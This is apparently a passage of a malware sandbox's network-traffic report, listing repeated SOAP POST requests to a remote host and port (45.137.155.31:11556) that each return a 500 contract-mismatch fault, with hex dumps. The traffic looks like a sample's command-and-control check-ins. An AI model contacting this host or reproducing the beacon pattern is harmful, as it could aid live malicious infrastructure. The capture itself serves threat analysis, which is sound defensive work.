6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:46.852746964 CEST	1161	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:46.924748898 CEST	1162	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:46.996185064 CEST	1163	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:46 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:48.008903027 CEST	1163	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:48.078175068 CEST	1164	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:48.147993088 CEST	1165	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:48 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:49.165903091 CEST	1170	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:49.234884024 CEST	1174	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:49.304136038 CEST	1177	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:49 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:50.322942019 CEST	1184	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:50.392438889 CEST	1185	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:50.462193012 CEST	1187	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:50 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:51.477946997 CEST	1193	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:51.549185991 CEST	1193	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:51.622066975 CEST	1194	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:51 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:08:52.634804010 CEST	1195	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:08:52.703515053 CEST	1195	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:08:52.777390957 CEST	1196	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:08:52 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope 